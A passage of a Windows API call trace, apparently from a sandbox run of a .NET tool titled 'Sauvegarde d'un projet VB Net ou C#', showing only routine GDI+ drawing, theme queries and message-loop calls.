[0230.446] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd3f0 [0230.446] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd3f0) returned 0x0 [0230.446] LocalFree (hMem=0x5fd3f0) returned 0x0 [0230.446] GdipDeleteMatrix (matrix=0x4ae5250) returned 0x0 [0230.446] GdipCreateRegion (region=0x2be75c) returned 0x0 [0230.446] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0230.446] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be768) returned 0x0 [0230.446] GdipSaveGraphics (graphics=0x4ae5320, state=0x2be794) returned 0x0 [0230.446] GdipRestoreGraphics (graphics=0x4ae5320, state=0xfd9d0dbd) returned 0x0 [0230.446] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0230.446] GdipGetDC (graphics=0x4ae5320, hdc=0x2be580) returned 0x0 [0230.446] GetCurrentObject (hdc=0x63010733, type=0x1) returned 0x1b00017 [0230.446] GetCurrentObject (hdc=0x63010733, type=0x2) returned 0x1900010 [0230.446] GetCurrentObject (hdc=0x63010733, type=0x7) returned 0x210506ba [0230.446] GetCurrentObject (hdc=0x63010733, type=0x6) returned 0x18a002e [0230.446] SaveDC (hdc=0x63010733) returned 1 [0230.446] GetNearestColor (hdc=0x63010733, color=0xf0f0f0) returned 0xf0f0f0 [0230.446] GetNearestColor (hdc=0x63010733, color=0xa0a0a0) returned 0xa0a0a0 [0230.446] GetNearestColor (hdc=0x63010733, color=0x696969) returned 0x696969 [0230.446] GetNearestColor (hdc=0x63010733, color=0xa0a0a0) returned 0xa0a0a0 [0230.446] GetNearestColor (hdc=0x63010733, color=0x0) returned 0x0 [0230.446] GetNearestColor (hdc=0x63010733, color=0xffffff) returned 0xffffff [0230.447] GetNearestColor (hdc=0x63010733, color=0xe5e5e5) returned 0xe5e5e5 [0230.447] GetNearestColor (hdc=0x63010733, color=0xd7d7d7) returned 0xd7d7d7 [0230.447] GetNearestColor (hdc=0x63010733, color=0x0) returned 0x0 [0230.447] RestoreDC (hdc=0x63010733, nSavedDC=-1) returned 1 [0230.447] GdipReleaseDC (graphics=0x4ae5320, hdc=0x63010733) returned 0x0 [0230.447] IsAppThemed () returned 0x1 [0230.447] GetThemeAppProperties () returned 0x3 [0230.447] GetThemeAppProperties () returned 0x3 [0230.447] IsAppThemed () returned 0x1 [0230.447] GetThemeAppProperties () returned 0x3 [0230.447] GetThemeAppProperties () returned 0x3 [0230.447] DrawTextExW (in: hdc=0xb0101e5, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be43c, format=0x2415, lpdtp=0x263fe98 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be43c) returned 13 [0230.447] IsAppThemed () returned 0x1 [0230.447] GetThemeAppProperties () returned 0x3 [0230.447] GetThemeAppProperties () returned 0x3 [0230.447] IsAppThemed () returned 0x1 [0230.447] GetThemeAppProperties () returned 0x3 [0230.447] GetThemeAppProperties () returned 0x3 [0230.447] GetFocus () returned 0x1019c [0230.447] IsAppThemed () returned 0x1 [0230.447] GetThemeAppProperties () returned 0x3 [0230.447] GetThemeAppProperties () returned 0x3 [0230.447] IsAppThemed () returned 0x1 [0230.447] GetThemeAppProperties () returned 0x3 [0230.447] GetThemeAppProperties () returned 0x3 [0230.447] IsThemePartDefined () returned 0x1 [0230.448] IsAppThemed () returned 0x1 [0230.448] GetThemeAppProperties () returned 0x3 [0230.448] GetThemeAppProperties () returned 0x3 [0230.448] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0230.448] IsAppThemed () returned 0x1 [0230.448] GetThemeAppProperties () returned 0x3 [0230.448] GetThemeAppProperties () returned 0x3 [0230.448] IsAppThemed () returned 0x1 [0230.448] GetThemeAppProperties () returned 0x3 [0230.448] GetThemeAppProperties () returned 0x3 [0230.448] IsThemePartDefined () returned 0x1 [0230.448] GdipCreateRegion (region=0x2be484) returned 0x0 [0230.448] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0230.448] GdipCreateMatrix (matrix=0x2be484) returned 0x0 [0230.448] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5280) returned 0x0 [0230.448] GdipIsMatrixIdentity (matrix=0x4ae5280, result=0x2be49c) returned 0x0 [0230.448] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd3f0 [0230.448] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd3f0) returned 0x0 [0230.448] LocalFree (hMem=0x5fd3f0) returned 0x0 [0230.448] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd3f0 [0230.448] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd3f0) returned 0x0 [0230.448] LocalFree (hMem=0x5fd3f0) returned 0x0 [0230.448] GdipDeleteMatrix (matrix=0x4ae5280) returned 0x0 [0230.448] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be4c4) returned 0x0 [0230.448] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be4b4) returned 0x0 [0230.448] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be4b4) returned 0x0 [0230.448] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0230.448] GdipGetDC (graphics=0x4ae5320, hdc=0x2be4cc) returned 0x0 [0230.448] GetCurrentObject (hdc=0x63010733, type=0x1) returned 0x1b00017 [0230.448] GetCurrentObject (hdc=0x63010733, type=0x2) returned 0x1900010 [0230.448] GetCurrentObject (hdc=0x63010733, type=0x7) returned 0x210506ba [0230.448] GetCurrentObject (hdc=0x63010733, type=0x6) returned 0x18a002e [0230.448] SaveDC (hdc=0x63010733) returned 1 [0230.448] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x43040789 [0230.449] GetClipRgn (hdc=0x63010733, hrgn=0x43040789) returned 0 [0230.449] SelectClipRgn (hdc=0x63010733, hrgn=0x480401eb) returned 2 [0230.449] DeleteObject (ho=0x43040789) returned 1 [0230.449] DeleteObject (ho=0x480401eb) returned 1 [0230.449] OffsetViewportOrgEx (in: hdc=0x63010733, x=0, y=0, lppt=0x2640548 | out: lppt=0x2640548) returned 1 [0230.449] DrawThemeParentBackground () returned 0x0 [0230.449] GetWindowPlacement (in: hWnd=0x40150, lpwndpl=0x2be240 | out: lpwndpl=0x2be240) returned 1 [0230.449] GetClientRect (in: hWnd=0x40150, lpRect=0x2be1ec | out: lpRect=0x2be1ec) returned 1 [0230.449] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0230.449] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0230.449] GetSystemMetrics (nIndex=42) returned 0 [0230.449] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be07c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0230.449] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be07c) returned 0x23 [0230.449] GetClientRect (in: hWnd=0x40150, lpRect=0x2be0f4 | out: lpRect=0x2be0f4) returned 1 [0230.449] GetCurrentObject (hdc=0x63010733, type=0x1) returned 0x1b00017 [0230.449] GetCurrentObject (hdc=0x63010733, type=0x2) returned 0x1900010 [0230.449] GetCurrentObject (hdc=0x63010733, type=0x7) returned 0x210506ba [0230.449] GetCurrentObject (hdc=0x63010733, type=0x6) returned 0x18a002e [0230.449] SaveDC (hdc=0x63010733) returned 2 [0230.449] GetNearestColor (hdc=0x63010733, color=0xf0f0f0) returned 0xf0f0f0 [0230.449] CreateSolidBrush (color=0xf0f0f0) returned 0x2c1006a2 [0230.449] FillRect (hDC=0x63010733, lprc=0x2bdf94, hbr=0x2c1006a2) returned 1 [0230.449] DeleteObject (ho=0x2c1006a2) returned 1 [0230.449] RestoreDC (hdc=0x63010733, nSavedDC=-1) returned 1 [0230.449] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0230.449] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0230.449] GetSystemMetrics (nIndex=42) returned 0 [0230.450] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be01c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0230.450] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be01c) returned 0x23 [0230.450] GetClientRect (in: hWnd=0x40150, lpRect=0x2be094 | out: lpRect=0x2be094) returned 1 [0230.450] GetCurrentObject (hdc=0x63010733, type=0x1) returned 0x1b00017 [0230.450] GetCurrentObject (hdc=0x63010733, type=0x2) returned 0x1900010 [0230.450] GetCurrentObject (hdc=0x63010733, type=0x7) returned 0x210506ba [0230.450] GetCurrentObject (hdc=0x63010733, type=0x6) returned 0x18a002e [0230.450] SaveDC (hdc=0x63010733) returned 2 [0230.450] GetNearestColor (hdc=0x63010733, color=0xf0f0f0) returned 0xf0f0f0 [0230.450] CreateSolidBrush (color=0xf0f0f0) returned 0x2d1006a2 [0230.450] FillRect (hDC=0x63010733, lprc=0x2bdf34, hbr=0x2d1006a2) returned 1 [0230.450] DeleteObject (ho=0x2d1006a2) returned 1 [0230.450] RestoreDC (hdc=0x63010733, nSavedDC=-1) returned 1 [0230.450] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0230.450] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0230.450] GetSystemMetrics (nIndex=42) returned 0 [0230.450] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be01c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0230.450] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be01c) returned 0x23 [0230.450] RestoreDC (hdc=0x63010733, nSavedDC=-1) returned 1 [0230.450] GdipReleaseDC (graphics=0x4ae5320, hdc=0x63010733) returned 0x0 [0230.450] IsAppThemed () returned 0x1 [0230.450] GetThemeAppProperties () returned 0x3 [0230.450] GetThemeAppProperties () returned 0x3 [0230.450] IsAppThemed () returned 0x1 [0230.450] GetThemeAppProperties () returned 0x3 [0230.450] GetThemeAppProperties () returned 0x3 [0230.450] IsThemePartDefined () returned 0x1 [0230.450] GdipCreateRegion (region=0x2be428) returned 0x0 [0230.450] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0230.450] GdipCreateMatrix (matrix=0x2be428) returned 0x0 [0230.450] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5250) returned 0x0 [0230.451] GdipIsMatrixIdentity (matrix=0x4ae5250, result=0x2be440) returned 0x0 [0230.451] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd3f0 [0230.451] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd3f0) returned 0x0 [0230.451] LocalFree (hMem=0x5fd3f0) returned 0x0 [0230.451] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd3f0 [0230.451] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd3f0) returned 0x0 [0230.451] LocalFree (hMem=0x5fd3f0) returned 0x0 [0230.451] GdipDeleteMatrix (matrix=0x4ae5250) returned 0x0 [0230.451] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be468) returned 0x0 [0230.451] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be458) returned 0x0 [0230.451] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be458) returned 0x0 [0230.451] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0230.451] GdipGetDC (graphics=0x4ae5320, hdc=0x2be470) returned 0x0 [0230.451] GetCurrentObject (hdc=0x63010733, type=0x1) returned 0x1b00017 [0230.451] GetCurrentObject (hdc=0x63010733, type=0x2) returned 0x1900010 [0230.451] GetCurrentObject (hdc=0x63010733, type=0x7) returned 0x210506ba [0230.451] GetCurrentObject (hdc=0x63010733, type=0x6) returned 0x18a002e [0230.451] SaveDC (hdc=0x63010733) returned 1 [0230.451] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x490401eb [0230.451] GetClipRgn (hdc=0x63010733, hrgn=0x490401eb) returned 0 [0230.451] SelectClipRgn (hdc=0x63010733, hrgn=0x45040789) returned 2 [0230.451] DeleteObject (ho=0x490401eb) returned 1 [0230.451] DeleteObject (ho=0x45040789) returned 1 [0230.451] OffsetViewportOrgEx (in: hdc=0x63010733, x=0, y=0, lppt=0x2640f80 | out: lppt=0x2640f80) returned 1 [0230.451] IsAppThemed () returned 0x1 [0230.451] GetThemeAppProperties () returned 0x3 [0230.451] GetThemeAppProperties () returned 0x3 [0230.451] DrawThemeBackground () returned 0x0 [0230.451] RestoreDC (hdc=0x63010733, nSavedDC=-1) returned 1 [0230.451] GdipReleaseDC (graphics=0x4ae5320, hdc=0x63010733) returned 0x0 [0230.452] GdipCreateRegion (region=0x2be410) returned 0x0 [0230.452] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0230.452] GdipCreateMatrix (matrix=0x2be410) returned 0x0 [0230.452] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5280) returned 0x0 [0230.452] GdipIsMatrixIdentity (matrix=0x4ae5280, result=0x2be428) returned 0x0 [0230.452] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd3f0 [0230.452] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd3f0) returned 0x0 [0230.452] LocalFree (hMem=0x5fd3f0) returned 0x0 [0230.452] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd3f0 [0230.452] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd3f0) returned 0x0 [0230.452] LocalFree (hMem=0x5fd3f0) returned 0x0 [0230.452] GdipDeleteMatrix (matrix=0x4ae5280) returned 0x0 [0230.452] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be450) returned 0x0 [0230.452] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be440) returned 0x0 [0230.452] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be440) returned 0x0 [0230.452] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0230.452] GdipGetDC (graphics=0x4ae5320, hdc=0x2be458) returned 0x0 [0230.452] GetCurrentObject (hdc=0x63010733, type=0x1) returned 0x1b00017 [0230.452] GetCurrentObject (hdc=0x63010733, type=0x2) returned 0x1900010 [0230.452] GetCurrentObject (hdc=0x63010733, type=0x7) returned 0x210506ba [0230.452] GetCurrentObject (hdc=0x63010733, type=0x6) returned 0x18a002e [0230.452] SaveDC (hdc=0x63010733) returned 1 [0230.452] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x46040789 [0230.452] GetClipRgn (hdc=0x63010733, hrgn=0x46040789) returned 0 [0230.452] SelectClipRgn (hdc=0x63010733, hrgn=0x4a0401eb) returned 2 [0230.452] DeleteObject (ho=0x46040789) returned 1 [0230.452] DeleteObject (ho=0x4a0401eb) returned 1 [0230.452] OffsetViewportOrgEx (in: hdc=0x63010733, x=0, y=0, lppt=0x2641254 | out: lppt=0x2641254) returned 1 [0230.452] IsAppThemed () returned 0x1 [0230.453] GetThemeAppProperties () returned 0x3 [0230.453] GetThemeAppProperties () returned 0x3 [0230.453] GetThemeBackgroundContentRect () returned 0x0 [0230.453] RestoreDC (hdc=0x63010733, nSavedDC=-1) returned 1 [0230.453] GdipReleaseDC (graphics=0x4ae5320, hdc=0x63010733) returned 0x0 [0230.453] IsAppThemed () returned 0x1 [0230.453] GetThemeAppProperties () returned 0x3 [0230.453] GetThemeAppProperties () returned 0x3 [0230.453] GdipGetTextRenderingHint (graphics=0x4ae5320, mode=0x2be588) returned 0x0 [0230.453] GdipGetDC (graphics=0x4ae5320, hdc=0x2be574) returned 0x0 [0230.453] GetCurrentObject (hdc=0x63010733, type=0x1) returned 0x1b00017 [0230.453] GetCurrentObject (hdc=0x63010733, type=0x2) returned 0x1900010 [0230.453] GetCurrentObject (hdc=0x63010733, type=0x7) returned 0x210506ba [0230.453] GetCurrentObject (hdc=0x63010733, type=0x6) returned 0x18a002e [0230.453] SaveDC (hdc=0x63010733) returned 1 [0230.453] GetTextAlign (hdc=0x63010733) returned 0x0 [0230.453] GetTextColor (hdc=0x63010733) returned 0x0 [0230.453] GetCurrentObject (hdc=0x63010733, type=0x6) returned 0x18a002e [0230.453] GetObjectW (in: h=0x18a002e, c=92, pv=0x2be27c | out: pv=0x2be27c) returned 92 [0230.453] SelectObject (hdc=0x63010733, h=0x90a01e9) returned 0x18a002e [0230.453] GetBkMode (hdc=0x63010733) returned 2 [0230.453] SetBkMode (hdc=0x63010733, mode=1) returned 2 [0230.453] DrawTextExW (in: hdc=0x63010733, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be350, format=0x2415, lpdtp=0x26415e8 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be350) returned 13 [0230.453] DrawTextExW (in: hdc=0x63010733, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be508, format=0x2015, lpdtp=0x26415e8 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be508) returned 13 [0230.454] RestoreDC (hdc=0x63010733, nSavedDC=-1) returned 1 [0230.454] GdipReleaseDC (graphics=0x4ae5320, hdc=0x63010733) returned 0x0 [0230.454] GetFocus () returned 0x1019c [0230.454] IsAppThemed () returned 0x1 [0230.454] GetThemeAppProperties () returned 0x3 [0230.454] GetThemeAppProperties () returned 0x3 [0230.454] GdipGetDC (graphics=0x4ae5320, hdc=0x2be754) returned 0x0 [0230.454] BitBlt (hdc=0x100107ec, x=0, y=0, cx=163, cy=29, hdcSrc=0x63010733, x1=0, y1=0, rop=0xcc0020) returned 1 [0230.454] GdipReleaseDC (graphics=0x4ae5320, hdc=0x63010733) returned 0x0 [0230.454] SelectPalette (hdc=0x100107ec, hPal=0x188000b, bForceBkgd=0) returned 0x300807ef [0230.454] SelectObject (hdc=0x63010733, h=0x185000f) returned 0x210506ba [0230.454] DeleteDC (hdc=0x63010733) returned 1 [0230.454] GdipDeleteGraphics (graphics=0x4ae5320) returned 0x0 [0230.454] EndPaint (hWnd=0x1019c, lpPaint=0x2be6f8) returned 1 [0230.454] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0230.454] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0230.454] WaitMessage () returned 1 [0230.547] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0230.547] IsWindowUnicode (hWnd=0x20152) returned 1 [0230.547] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0230.547] TranslateMessage (lpMsg=0x2bec18) returned 0 [0230.547] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0230.547] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0230.547] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0230.547] WaitMessage () returned 1 [0230.750] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0230.750] IsWindowUnicode (hWnd=0x1019e) returned 1 [0230.750] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0230.750] TranslateMessage (lpMsg=0x2bec18) returned 0 [0230.750] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0230.750] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0230.750] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0230.750] WaitMessage () returned 1 [0231.411] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0231.411] IsWindowUnicode (hWnd=0x1019c) returned 1 [0231.411] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0231.411] GetKeyState (nVirtKey=16) returned 0 [0231.411] GetKeyState (nVirtKey=17) returned 0 [0231.411] GetKeyState (nVirtKey=18) returned -128 [0231.411] SendMessageW (hWnd=0x1019c, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x1 [0231.411] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x1 [0231.411] GetKeyState (nVirtKey=16) returned 0 [0231.411] GetKeyState (nVirtKey=17) returned 0 [0231.411] GetKeyState (nVirtKey=18) returned -128 [0231.411] TranslateMessage (lpMsg=0x2bec18) returned 1 [0231.411] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0231.411] GetKeyState (nVirtKey=16) returned 0 [0231.411] GetKeyState (nVirtKey=17) returned 0 [0231.411] GetKeyState (nVirtKey=18) returned -128 [0231.411] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x104, wParam=0x12, lParam=0x20380001) returned 0x0 [0231.411] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0231.411] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0231.411] WaitMessage () returned 1 [0231.420] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0231.420] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0231.420] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0231.420] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x46, wParam=0x0, lParam=0x2beb00) returned 0x0 [0231.426] GetWindowPlacement (in: hWnd=0x40150, lpwndpl=0x2be8b0 | out: lpwndpl=0x2be8b0) returned 1 [0231.426] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x47, wParam=0x0, lParam=0x2beb00) returned 0x0 [0231.426] GetClientRect (in: hWnd=0x40150, lpRect=0x2be860 | out: lpRect=0x2be860) returned 1 [0231.426] GetWindowRect (in: hWnd=0x40150, lpRect=0x2be860 | out: lpRect=0x2be860) returned 1 [0231.427] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x47, wParam=0x0, lParam=0x2beb00) returned 0x0 [0231.427] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0xd, wParam=0x104, lParam=0x48edb8) returned 0x0 [0231.427] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0231.429] NtdllDefWindowProc_W () returned 0x0 [0231.429] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x1c, wParam=0x0, lParam=0x568) returned 0x0 [0231.429] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x1c, wParam=0x0, lParam=0x568) returned 0x0 [0231.429] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x8, wParam=0x0, lParam=0x0) returned 0x0 [0231.429] GetCapture () returned 0x0 [0231.429] InvalidateRect (hWnd=0x1019c, lpRect=0x0, bErase=0) returned 1 [0231.430] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0231.430] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0231.430] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0231.430] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0231.430] IsWindowUnicode (hWnd=0x1019c) returned 1 [0231.430] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0231.430] TranslateMessage (lpMsg=0x2bec18) returned 0 [0231.430] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0231.430] BeginPaint (in: hWnd=0x1019c, lpPaint=0x2be6fc | out: lpPaint=0x2be6fc) returned 0x701068c [0231.430] SelectPalette (hdc=0x701068c, hPal=0x300807ef, bForceBkgd=1) returned 0x188000b [0231.430] CreateCompatibleDC (hdc=0x701068c) returned 0x6a010733 [0231.430] SelectObject (hdc=0x6a010733, h=0x210506ba) returned 0x185000f [0231.430] GdipCreateFromHDC (hdc=0x6a010733, graphics=0x2be714) returned 0x0 [0231.430] GdipTranslateWorldTransform (graphics=0x4ae5320, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0231.430] GdipSetClipRectI (graphics=0x4ae5320, x=0, y=0, width=163, height=29, combineMode=0x0) returned 0x0 [0231.430] GdipCreateMatrix (matrix=0x2be75c) returned 0x0 [0231.430] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5250) returned 0x0 [0231.430] GdipIsMatrixIdentity (matrix=0x4ae5250, result=0x2be774) returned 0x0 [0231.431] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd348 [0231.431] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd348) returned 0x0 [0231.431] LocalFree (hMem=0x5fd348) returned 0x0 [0231.431] GdipDeleteMatrix (matrix=0x4ae5250) returned 0x0 [0231.431] GdipCreateRegion (region=0x2be75c) returned 0x0 [0231.431] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0231.431] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be768) returned 0x0 [0231.431] GdipSaveGraphics (graphics=0x4ae5320, state=0x2be794) returned 0x0 [0231.431] GdipRestoreGraphics (graphics=0x4ae5320, state=0xfd9b0dbd) returned 0x0 [0231.431] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0231.431] GdipGetDC (graphics=0x4ae5320, hdc=0x2be580) returned 0x0 [0231.431] GetCurrentObject (hdc=0x6a010733, type=0x1) returned 0x1b00017 [0231.431] GetCurrentObject (hdc=0x6a010733, type=0x2) returned 0x1900010 [0231.431] GetCurrentObject (hdc=0x6a010733, type=0x7) returned 0x210506ba [0231.431] GetCurrentObject (hdc=0x6a010733, type=0x6) returned 0x18a002e [0231.431] SaveDC (hdc=0x6a010733) returned 1 [0231.431] GetNearestColor (hdc=0x6a010733, color=0xf0f0f0) returned 0xf0f0f0 [0231.431] GetNearestColor (hdc=0x6a010733, color=0xa0a0a0) returned 0xa0a0a0 [0231.431] GetNearestColor (hdc=0x6a010733, color=0x696969) returned 0x696969 [0231.431] 